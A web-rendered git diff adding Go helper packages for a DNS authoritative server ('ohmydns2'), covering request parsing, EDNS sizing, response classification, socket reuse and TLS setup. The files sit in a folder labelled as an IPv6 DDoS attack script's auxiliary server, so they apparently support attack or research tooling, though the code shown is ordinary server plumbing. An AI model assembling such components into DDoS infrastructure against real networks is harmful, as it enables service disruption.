|
||||
@@ -0,0 +1,25 @@
|
||||
package request
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
)
|
||||
|
||||
// HTTPRequest contains some connection state and is useful in plugin.
|
||||
type HTTPRequest struct {
|
||||
Req *http.Request
|
||||
W http.ResponseWriter
|
||||
|
||||
// Optional lowercased zone of this query.
|
||||
Zone string
|
||||
|
||||
// Cache size after first call to Size or Do. If size is zero nothing has been cached yet.
|
||||
// Both Size and Do set these values (and cache them).
|
||||
size uint16 // UDP buffer size, or 64K in case of TCP.
|
||||
|
||||
// Caches
|
||||
family int8 // transport's family.
|
||||
ip string // client's ip.
|
||||
port string // client's port.
|
||||
localPort string // server's port.
|
||||
localIP string // server's ip.
|
||||
}
|
||||
362
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/request.go
Normal file
362
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/request.go
Normal file
@@ -0,0 +1,362 @@
|
||||
// request 抽象出一个客户端的请求,让所有的插件统一处理
|
||||
package request
|
||||
|
||||
import (
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/edns"
|
||||
"strings"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Request contains some connection state and is useful in plugin.
|
||||
type Request struct {
|
||||
Req *dns.Msg
|
||||
W dns.ResponseWriter
|
||||
|
||||
// Optional lowercased zone of this query.
|
||||
Zone string
|
||||
|
||||
// Cache size after first call to Size or Do. If size is zero nothing has been cached yet.
|
||||
// Both Size and Do set these values (and cache them).
|
||||
size uint16 // UDP buffer size, or 64K in case of TCP.
|
||||
do bool // DNSSEC OK value
|
||||
|
||||
// Caches
|
||||
family int8 // transport's family.
|
||||
name string // lowercase qname.
|
||||
ip string // client's ip.
|
||||
port string // client's port.
|
||||
localPort string // server's port.
|
||||
localIP string // server's ip.
|
||||
}
|
||||
|
||||
// NewWithQuestion returns a new request based on the old, but with a new question
|
||||
// section in the request.
|
||||
func (r *Request) NewWithQuestion(name string, typ uint16) Request {
|
||||
req1 := Request{W: r.W, Req: r.Req.Copy()}
|
||||
req1.Req.Question[0] = dns.Question{Name: dns.Fqdn(name), Qclass: dns.ClassINET, Qtype: typ}
|
||||
return req1
|
||||
}
|
||||
|
||||
// IP gets the (remote) IP address of the client making the request.
|
||||
func (r *Request) IP() string {
|
||||
if r.ip != "" {
|
||||
return r.ip
|
||||
}
|
||||
|
||||
ip, _, err := net.SplitHostPort(r.W.RemoteAddr().String())
|
||||
if err != nil {
|
||||
r.ip = r.W.RemoteAddr().String()
|
||||
return r.ip
|
||||
}
|
||||
|
||||
r.ip = ip
|
||||
return r.ip
|
||||
}
|
||||
|
||||
// LocalIP gets the (local) IP address of server handling the request.
|
||||
func (r *Request) LocalIP() string {
|
||||
if r.localIP != "" {
|
||||
return r.localIP
|
||||
}
|
||||
|
||||
ip, _, err := net.SplitHostPort(r.W.LocalAddr().String())
|
||||
if err != nil {
|
||||
r.localIP = r.W.LocalAddr().String()
|
||||
return r.localIP
|
||||
}
|
||||
|
||||
r.localIP = ip
|
||||
return r.localIP
|
||||
}
|
||||
|
||||
// Port gets the (remote) port of the client making the request.
|
||||
func (r *Request) Port() string {
|
||||
if r.port != "" {
|
||||
return r.port
|
||||
}
|
||||
|
||||
_, port, err := net.SplitHostPort(r.W.RemoteAddr().String())
|
||||
if err != nil {
|
||||
r.port = "0"
|
||||
return r.port
|
||||
}
|
||||
|
||||
r.port = port
|
||||
return r.port
|
||||
}
|
||||
|
||||
// LocalPort gets the local port of the server handling the request.
|
||||
func (r *Request) LocalPort() string {
|
||||
if r.localPort != "" {
|
||||
return r.localPort
|
||||
}
|
||||
|
||||
_, port, err := net.SplitHostPort(r.W.LocalAddr().String())
|
||||
if err != nil {
|
||||
r.localPort = "0"
|
||||
return r.localPort
|
||||
}
|
||||
|
||||
r.localPort = port
|
||||
return r.localPort
|
||||
}
|
||||
|
||||
// RemoteAddr returns the net.Addr of the client that sent the current request.
|
||||
func (r *Request) RemoteAddr() string { return r.W.RemoteAddr().String() }
|
||||
|
||||
// LocalAddr returns the net.Addr of the server handling the current request.
|
||||
func (r *Request) LocalAddr() string { return r.W.LocalAddr().String() }
|
||||
|
||||
// Proto gets the protocol used as the transport. This will be udp or tcp.
|
||||
func (r *Request) Proto() string {
|
||||
if _, ok := r.W.RemoteAddr().(*net.UDPAddr); ok {
|
||||
return "udp"
|
||||
}
|
||||
if _, ok := r.W.RemoteAddr().(*net.TCPAddr); ok {
|
||||
return "tcp"
|
||||
}
|
||||
return "udp"
|
||||
}
|
||||
|
||||
// Family returns the family of the transport, 1 for IPv4 and 2 for IPv6.
|
||||
func (r *Request) Family() int {
|
||||
if r.family != 0 {
|
||||
return int(r.family)
|
||||
}
|
||||
|
||||
var a net.IP
|
||||
ip := r.W.RemoteAddr()
|
||||
if i, ok := ip.(*net.UDPAddr); ok {
|
||||
a = i.IP
|
||||
}
|
||||
if i, ok := ip.(*net.TCPAddr); ok {
|
||||
a = i.IP
|
||||
}
|
||||
|
||||
if a.To4() != nil {
|
||||
r.family = 1
|
||||
return 1
|
||||
}
|
||||
r.family = 2
|
||||
return 2
|
||||
}
|
||||
|
||||
// Do returns true if the request has the DO (DNSSEC OK) bit set.
|
||||
func (r *Request) Do() bool {
|
||||
if r.size != 0 {
|
||||
return r.do
|
||||
}
|
||||
|
||||
r.Size()
|
||||
return r.do
|
||||
}
|
||||
|
||||
// Len returns the length in bytes in the request.
|
||||
func (r *Request) Len() int { return r.Req.Len() }
|
||||
|
||||
// Size returns if buffer size *advertised* in the requests OPT record.
|
||||
// Or when the request was over TCP, we return the maximum allowed size of 64K.
|
||||
func (r *Request) Size() int {
|
||||
if r.size != 0 {
|
||||
return int(r.size)
|
||||
}
|
||||
|
||||
size := uint16(0)
|
||||
if o := r.Req.IsEdns0(); o != nil {
|
||||
r.do = o.Do()
|
||||
size = o.UDPSize()
|
||||
}
|
||||
|
||||
// normalize size
|
||||
size = edns.Size(r.Proto(), size)
|
||||
r.size = size
|
||||
return int(size)
|
||||
}
|
||||
|
||||
// SizeAndDo adds an OPT record that the reflects the intent from request.
|
||||
// The returned bool indicates if an record was found and normalised.
|
||||
func (r *Request) SizeAndDo(m *dns.Msg) bool {
|
||||
o := r.Req.IsEdns0()
|
||||
if o == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if mo := m.IsEdns0(); mo != nil {
|
||||
mo.Hdr.Name = "."
|
||||
mo.Hdr.Rrtype = dns.TypeOPT
|
||||
mo.SetVersion(0)
|
||||
mo.SetUDPSize(o.UDPSize())
|
||||
mo.Hdr.Ttl &= 0xff00 // clear flags
|
||||
|
||||
// Assume if the message m has options set, they are OK and represent what an upstream can do.
|
||||
|
||||
if o.Do() {
|
||||
mo.SetDo()
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Reuse the request's OPT record and tack it to m.
|
||||
o.Hdr.Name = "."
|
||||
o.Hdr.Rrtype = dns.TypeOPT
|
||||
o.SetVersion(0)
|
||||
o.Hdr.Ttl &= 0xff00 // clear flags
|
||||
|
||||
if len(o.Option) > 0 {
|
||||
o.Option = supportedOptions(o.Option)
|
||||
}
|
||||
|
||||
m.Extra = append(m.Extra, o)
|
||||
return true
|
||||
}
|
||||
|
||||
// Scrub scrubs the reply message so that it will fit the client's buffer. It will first
|
||||
// check if the reply fits without compression and then *with* compression.
|
||||
// Note, the TC bit will be set regardless of protocol, even TCP message will
|
||||
// get the bit, the client should then retry with pigeons.
|
||||
func (r *Request) Scrub(reply *dns.Msg) *dns.Msg {
|
||||
reply.Truncate(r.Size())
|
||||
|
||||
if reply.Compress {
|
||||
return reply
|
||||
}
|
||||
|
||||
if r.Proto() == "udp" {
|
||||
rl := reply.Len()
|
||||
// Last ditch attempt to avoid fragmentation, if the size is bigger than the v4/v6 UDP fragmentation
|
||||
// limit and sent via UDP compress it (in the hope we go under that limit). Limits taken from NSD:
|
||||
//
|
||||
// .., 1480 (EDNS/IPv4), 1220 (EDNS/IPv6), or the advertised EDNS buffer size if that is
|
||||
// smaller than the EDNS default.
|
||||
// See: https://open.nlnetlabs.nl/pipermail/nsd-users/2011-November/001278.html
|
||||
if rl > 1480 && r.Family() == 1 {
|
||||
reply.Compress = true
|
||||
}
|
||||
if rl > 1220 && r.Family() == 2 {
|
||||
reply.Compress = true
|
||||
}
|
||||
}
|
||||
|
||||
return reply
|
||||
}
|
||||
|
||||
// Type returns the type of the question as a string. If the request is malformed the empty string is returned.
|
||||
func (r *Request) Type() string {
|
||||
if r.Req == nil {
|
||||
return ""
|
||||
}
|
||||
if len(r.Req.Question) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return dns.Type(r.Req.Question[0].Qtype).String()
|
||||
}
|
||||
|
||||
// QType returns the type of the question as an uint16. If the request is malformed
|
||||
// 0 is returned.
|
||||
func (r *Request) QType() uint16 {
|
||||
if r.Req == nil {
|
||||
return 0
|
||||
}
|
||||
if len(r.Req.Question) == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
return r.Req.Question[0].Qtype
|
||||
}
|
||||
|
||||
// Name returns the name of the question in the request. Note
|
||||
// this name will always have a closing dot and will be lower cased. After a call Name
|
||||
// the value will be cached. To clear this caching call Clear.
|
||||
// If the request is malformed the root zone is returned.
|
||||
func (r *Request) Name() string {
|
||||
if r.name != "" {
|
||||
return r.name
|
||||
}
|
||||
if r.Req == nil {
|
||||
r.name = "."
|
||||
return "."
|
||||
}
|
||||
if len(r.Req.Question) == 0 {
|
||||
r.name = "."
|
||||
return "."
|
||||
}
|
||||
|
||||
r.name = strings.ToLower(dns.Name(r.Req.Question[0].Name).String())
|
||||
return r.name
|
||||
}
|
||||
|
||||
// QName returns the name of the question in the request.
|
||||
// If the request is malformed the root zone is returned.
|
||||
func (r *Request) QName() string {
|
||||
if r.Req == nil {
|
||||
return "."
|
||||
}
|
||||
if len(r.Req.Question) == 0 {
|
||||
return "."
|
||||
}
|
||||
|
||||
return dns.Name(r.Req.Question[0].Name).String()
|
||||
}
|
||||
|
||||
// Class returns the class of the question in the request.
|
||||
// If the request is malformed the empty string is returned.
|
||||
func (r *Request) Class() string {
|
||||
if r.Req == nil {
|
||||
return ""
|
||||
}
|
||||
if len(r.Req.Question) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return dns.Class(r.Req.Question[0].Qclass).String()
|
||||
}
|
||||
|
||||
// QClass returns the class of the question in the request.
|
||||
// If the request is malformed 0 returned.
|
||||
func (r *Request) QClass() uint16 {
|
||||
if r.Req == nil {
|
||||
return 0
|
||||
}
|
||||
if len(r.Req.Question) == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
return r.Req.Question[0].Qclass
|
||||
}
|
||||
|
||||
// Clear clears all caching from Request s.
|
||||
func (r *Request) Clear() {
|
||||
r.name = ""
|
||||
r.ip = ""
|
||||
r.localIP = ""
|
||||
r.port = ""
|
||||
r.localPort = ""
|
||||
r.family = 0
|
||||
r.size = 0
|
||||
r.do = false
|
||||
}
|
||||
|
||||
// Match checks if the reply matches the qname and qtype from the request, it returns
|
||||
// false when they don't match.
|
||||
func (r *Request) Match(reply *dns.Msg) bool {
|
||||
if len(reply.Question) != 1 {
|
||||
return false
|
||||
}
|
||||
|
||||
if !reply.Response {
|
||||
return false
|
||||
}
|
||||
|
||||
if strings.ToLower(reply.Question[0].Name) != r.Name() {
|
||||
return false
|
||||
}
|
||||
|
||||
if reply.Question[0].Qtype != r.QType() {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
package request
|
||||
|
||||
import "github.com/miekg/dns"
|
||||
|
||||
// ScrubWriter will, when writing the message, call scrub to make it fit the client's buffer.
|
||||
type ScrubWriter struct {
|
||||
dns.ResponseWriter
|
||||
req *dns.Msg // original request
|
||||
}
|
||||
|
||||
// NewScrubWriter returns a new and initialized ScrubWriter.
|
||||
func NewScrubWriter(req *dns.Msg, w dns.ResponseWriter) *ScrubWriter { return &ScrubWriter{w, req} }
|
||||
|
||||
// WriteMsg overrides the default implementation of the underlying dns.ResponseWriter and calls
|
||||
// scrub on the message m and will then write it to the client.
|
||||
func (s *ScrubWriter) WriteMsg(m *dns.Msg) error {
|
||||
state := Request{Req: s.req, W: s.ResponseWriter}
|
||||
state.SizeAndDo(m)
|
||||
state.Scrub(m)
|
||||
return s.ResponseWriter.WriteMsg(m)
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package response
|
||||
|
||||
import "fmt"
|
||||
|
||||
// Class holds sets of Types
|
||||
type Class int
|
||||
|
||||
const (
|
||||
// All is a meta class encompassing all the classes.
|
||||
All Class = iota
|
||||
// Success is a class for a successful response.
|
||||
Success
|
||||
// Denial is a class for denying existence (NXDOMAIN, or a nodata: type does not exist)
|
||||
Denial
|
||||
// Error is a class for errors, right now defined as not Success and not Denial
|
||||
Error
|
||||
)
|
||||
|
||||
func (c Class) String() string {
|
||||
switch c {
|
||||
case All:
|
||||
return "all"
|
||||
case Success:
|
||||
return "success"
|
||||
case Denial:
|
||||
return "denial"
|
||||
case Error:
|
||||
return "error"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ClassFromString returns the class from the string s. If not class matches
|
||||
// the All class and an error are returned
|
||||
func ClassFromString(s string) (Class, error) {
|
||||
switch s {
|
||||
case "all":
|
||||
return All, nil
|
||||
case "success":
|
||||
return Success, nil
|
||||
case "denial":
|
||||
return Denial, nil
|
||||
case "error":
|
||||
return Error, nil
|
||||
}
|
||||
return All, fmt.Errorf("invalid Class: %s", s)
|
||||
}
|
||||
|
||||
// Classify classifies the Type t, it returns its Class.
|
||||
func Classify(t Type) Class {
|
||||
switch t {
|
||||
case NoError, Delegation:
|
||||
return Success
|
||||
case NameError, NoData:
|
||||
return Denial
|
||||
case OtherError:
|
||||
fallthrough
|
||||
default:
|
||||
return Error
|
||||
}
|
||||
}
|
||||
150
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/type.go
Normal file
150
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/type.go
Normal file
@@ -0,0 +1,150 @@
|
||||
package response
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/miekg/dns"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Type is the type of the message.
|
||||
type Type int
|
||||
|
||||
const (
|
||||
// NoError indicates a positive reply
|
||||
NoError Type = iota
|
||||
// NameError is a NXDOMAIN in header, SOA in auth.
|
||||
NameError
|
||||
// ServerError is a set of errors we want to cache, for now it contains SERVFAIL and NOTIMPL.
|
||||
ServerError
|
||||
// NoData indicates name found, but not the type: NOERROR in header, SOA in auth.
|
||||
NoData
|
||||
// Delegation is a msg with a pointer to another nameserver: NOERROR in header, NS in auth, optionally fluff in additional (not checked).
|
||||
Delegation
|
||||
// Meta indicates a meta message, NOTIFY, or a transfer: qType is IXFR or AXFR.
|
||||
Meta
|
||||
// Update is an dynamic update message.
|
||||
Update
|
||||
// OtherError indicates any other error: don't cache these.
|
||||
OtherError
|
||||
)
|
||||
|
||||
var toString = map[Type]string{
|
||||
NoError: "NOERROR",
|
||||
NameError: "NXDOMAIN",
|
||||
ServerError: "SERVERERROR",
|
||||
NoData: "NODATA",
|
||||
Delegation: "DELEGATION",
|
||||
Meta: "META",
|
||||
Update: "UPDATE",
|
||||
OtherError: "OTHERERROR",
|
||||
}
|
||||
|
||||
func (t Type) String() string { return toString[t] }
|
||||
|
||||
// TypeFromString returns the type from the string s. If not type matches
|
||||
// the OtherError type and an error are returned.
|
||||
func TypeFromString(s string) (Type, error) {
|
||||
for t, str := range toString {
|
||||
if s == str {
|
||||
return t, nil
|
||||
}
|
||||
}
|
||||
return NoError, fmt.Errorf("invalid Type: %s", s)
|
||||
}
|
||||
|
||||
// Typify classifies a message, it returns the Type.
|
||||
func Typify(m *dns.Msg, t time.Time) (Type, *dns.OPT) {
|
||||
if m == nil {
|
||||
return OtherError, nil
|
||||
}
|
||||
opt := m.IsEdns0()
|
||||
do := false
|
||||
if opt != nil {
|
||||
do = opt.Do()
|
||||
}
|
||||
|
||||
if m.Opcode == dns.OpcodeUpdate {
|
||||
return Update, opt
|
||||
}
|
||||
|
||||
// Check transfer and update first
|
||||
if m.Opcode == dns.OpcodeNotify {
|
||||
return Meta, opt
|
||||
}
|
||||
|
||||
if len(m.Question) > 0 {
|
||||
if m.Question[0].Qtype == dns.TypeAXFR || m.Question[0].Qtype == dns.TypeIXFR {
|
||||
return Meta, opt
|
||||
}
|
||||
}
|
||||
|
||||
// If our message contains any expired sigs and we care about that, we should return expired
|
||||
if do {
|
||||
if expired := typifyExpired(m, t); expired {
|
||||
return OtherError, opt
|
||||
}
|
||||
}
|
||||
|
||||
if len(m.Answer) > 0 && m.Rcode == dns.RcodeSuccess {
|
||||
return NoError, opt
|
||||
}
|
||||
|
||||
soa := false
|
||||
ns := 0
|
||||
for _, r := range m.Ns {
|
||||
if r.Header().Rrtype == dns.TypeSOA {
|
||||
soa = true
|
||||
continue
|
||||
}
|
||||
if r.Header().Rrtype == dns.TypeNS {
|
||||
ns++
|
||||
}
|
||||
}
|
||||
|
||||
if soa && m.Rcode == dns.RcodeSuccess {
|
||||
return NoData, opt
|
||||
}
|
||||
if soa && m.Rcode == dns.RcodeNameError {
|
||||
return NameError, opt
|
||||
}
|
||||
|
||||
if m.Rcode == dns.RcodeServerFailure || m.Rcode == dns.RcodeNotImplemented {
|
||||
return ServerError, opt
|
||||
}
|
||||
|
||||
if ns > 0 && m.Rcode == dns.RcodeSuccess {
|
||||
return Delegation, opt
|
||||
}
|
||||
|
||||
if m.Rcode == dns.RcodeSuccess {
|
||||
return NoError, opt
|
||||
}
|
||||
|
||||
return OtherError, opt
|
||||
}
|
||||
|
||||
func typifyExpired(m *dns.Msg, t time.Time) bool {
|
||||
if expired := typifyExpiredRRSIG(m.Answer, t); expired {
|
||||
return true
|
||||
}
|
||||
if expired := typifyExpiredRRSIG(m.Ns, t); expired {
|
||||
return true
|
||||
}
|
||||
if expired := typifyExpiredRRSIG(m.Extra, t); expired {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func typifyExpiredRRSIG(rrs []dns.RR, t time.Time) bool {
|
||||
for _, r := range rrs {
|
||||
if r.Header().Rrtype != dns.TypeRRSIG {
|
||||
continue
|
||||
}
|
||||
ok := r.(*dns.RRSIG).ValidityPeriod(t)
|
||||
if !ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !go1.11 || (!aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd)
|
||||
|
||||
package reuseport
|
||||
|
||||
import "net"
|
||||
|
||||
// Listen is a wrapper around net.Listen.
|
||||
func Listen(network, addr string) (net.Listener, error) { return net.Listen(network, addr) }
|
||||
|
||||
// ListenPacket is a wrapper around net.ListenPacket.
|
||||
func ListenPacket(network, addr string) (net.PacketConn, error) {
|
||||
return net.ListenPacket(network, addr)
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
//go:build go1.11 && (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd)
|
||||
package reuseport
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"syscall"
|
||||
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func control(network, address string, c syscall.RawConn) error {
|
||||
c.Control(func(fd uintptr) {
|
||||
if err := unix.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.SO_REUSEPORT, 1); err != nil {
|
||||
log.Warningf("Failed to set SO_REUSEPORT on socket: %s", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
// Listen announces on the local network address. See net.Listen for more information.
|
||||
// If SO_REUSEPORT is available it will be set on the socket.
|
||||
func Listen(network, addr string) (net.Listener, error) {
|
||||
lc := net.ListenConfig{Control: control}
|
||||
return lc.Listen(context.Background(), network, addr)
|
||||
}
|
||||
|
||||
// ListenPacket announces on the local network address. See net.ListenPacket for more information.
|
||||
// If SO_REUSEPORT is available it will be set on the socket.
|
||||
func ListenPacket(network, addr string) (net.PacketConn, error) {
|
||||
lc := net.ListenConfig{Control: control}
|
||||
return lc.ListenPacket(context.Background(), network, addr)
|
||||
}
|
||||
149
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/tls/tls.go
Normal file
149
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/tls/tls.go
Normal file
@@ -0,0 +1,149 @@
|
||||
package tls
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
func setTLSDefaults(ctls *tls.Config) {
|
||||
ctls.MinVersion = tls.VersionTLS12
|
||||
ctls.MaxVersion = tls.VersionTLS13
|
||||
ctls.CipherSuites = []uint16{
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,
|
||||
tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
|
||||
}
|
||||
}
|
||||
|
||||
// NewTLSConfigFromArgs returns a TLS config based upon the passed
|
||||
// in list of arguments. Typically these come straight from the
|
||||
// Corefile.
|
||||
// no args
|
||||
// - creates a Config with no cert and using system CAs
|
||||
// - use for a client that talks to a server with a public signed cert (CA installed in system)
|
||||
// - the client will not be authenticated by the server since there is no cert
|
||||
//
|
||||
// one arg: the path to CA PEM file
|
||||
// - creates a Config with no cert using a specific CA
|
||||
// - use for a client that talks to a server with a private signed cert (CA not installed in system)
|
||||
// - the client will not be authenticated by the server since there is no cert
|
||||
//
|
||||
// two args: path to cert PEM file, the path to private key PEM file
|
||||
// - creates a Config with a cert, using system CAs to validate the other end
|
||||
// - use for:
|
||||
// - a server; or,
|
||||
// - a client that talks to a server with a public cert and needs certificate-based authentication
|
||||
// - the other end will authenticate this end via the provided cert
|
||||
// - the cert of the other end will be verified via system CAs
|
||||
//
|
||||
// three args: path to cert PEM file, path to client private key PEM file, path to CA PEM file
|
||||
// - creates a Config with the cert, using specified CA to validate the other end
|
||||
// - use for:
|
||||
// - a server; or,
|
||||
// - a client that talks to a server with a privately signed cert and needs certificate-based
|
||||
// authentication
|
||||
// - the other end will authenticate this end via the provided cert
|
||||
// - this end will verify the other end's cert using the specified CA
|
||||
func NewTLSConfigFromArgs(args ...string) (*tls.Config, error) {
|
||||
var err error
|
||||
var c *tls.Config
|
||||
switch len(args) {
|
||||
case 0:
|
||||
// No client cert, use system CA
|
||||
c, err = NewTLSClientConfig("")
|
||||
case 1:
|
||||
// No client cert, use specified CA
|
||||
c, err = NewTLSClientConfig(args[0])
|
||||
case 2:
|
||||
// Client cert, use system CA
|
||||
c, err = NewTLSConfig(args[0], args[1], "")
|
||||
case 3:
|
||||
// Client cert, use specified CA
|
||||
c, err = NewTLSConfig(args[0], args[1], args[2])
|
||||
default:
|
||||
err = fmt.Errorf("maximum of three arguments allowed for TLS config, found %d", len(args))
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
// NewTLSConfig returns a TLS config that includes a certificate
|
||||
// Use for server TLS config or when using a client certificate
|
||||
// If caPath is empty, system CAs will be used
|
||||
func NewTLSConfig(certPath, keyPath, caPath string) (*tls.Config, error) {
|
||||
cert, err := tls.LoadX509KeyPair(certPath, keyPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not load TLS cert: %s", err)
|
||||
}
|
||||
|
||||
roots, err := loadRoots(caPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}, RootCAs: roots}
|
||||
setTLSDefaults(tlsConfig)
|
||||
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
// NewTLSClientConfig returns a TLS config for a client connection
|
||||
// If caPath is empty, system CAs will be used
|
||||
func NewTLSClientConfig(caPath string) (*tls.Config, error) {
|
||||
roots, err := loadRoots(caPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
tlsConfig := &tls.Config{RootCAs: roots}
|
||||
setTLSDefaults(tlsConfig)
|
||||
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
func loadRoots(caPath string) (*x509.CertPool, error) {
|
||||
if caPath == "" {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
roots := x509.NewCertPool()
|
||||
pem, err := os.ReadFile(filepath.Clean(caPath))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error reading %s: %s", caPath, err)
|
||||
}
|
||||
ok := roots.AppendCertsFromPEM(pem)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("could not read root certs: %s", err)
|
||||
}
|
||||
return roots, nil
|
||||
}
|
||||
|
||||
// NewHTTPSTransport returns an HTTP transport configured using tls.Config
|
||||
func NewHTTPSTransport(cc *tls.Config) *http.Transport {
|
||||
tr := &http.Transport{
|
||||
Proxy: http.ProxyFromEnvironment,
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: 30 * time.Second,
|
||||
KeepAlive: 30 * time.Second,
|
||||
}).Dial,
|
||||
TLSHandshakeTimeout: 10 * time.Second,
|
||||
TLSClientConfig: cc,
|
||||
MaxIdleConnsPerHost: 25,
|
||||
}
|
||||
|
||||
return tr
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package trace
|
||||
|
||||
import ot "github.com/opentracing/opentracing-go"
|
||||
|
||||
type Trace interface {
|
||||
Tracer() ot.Tracer
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user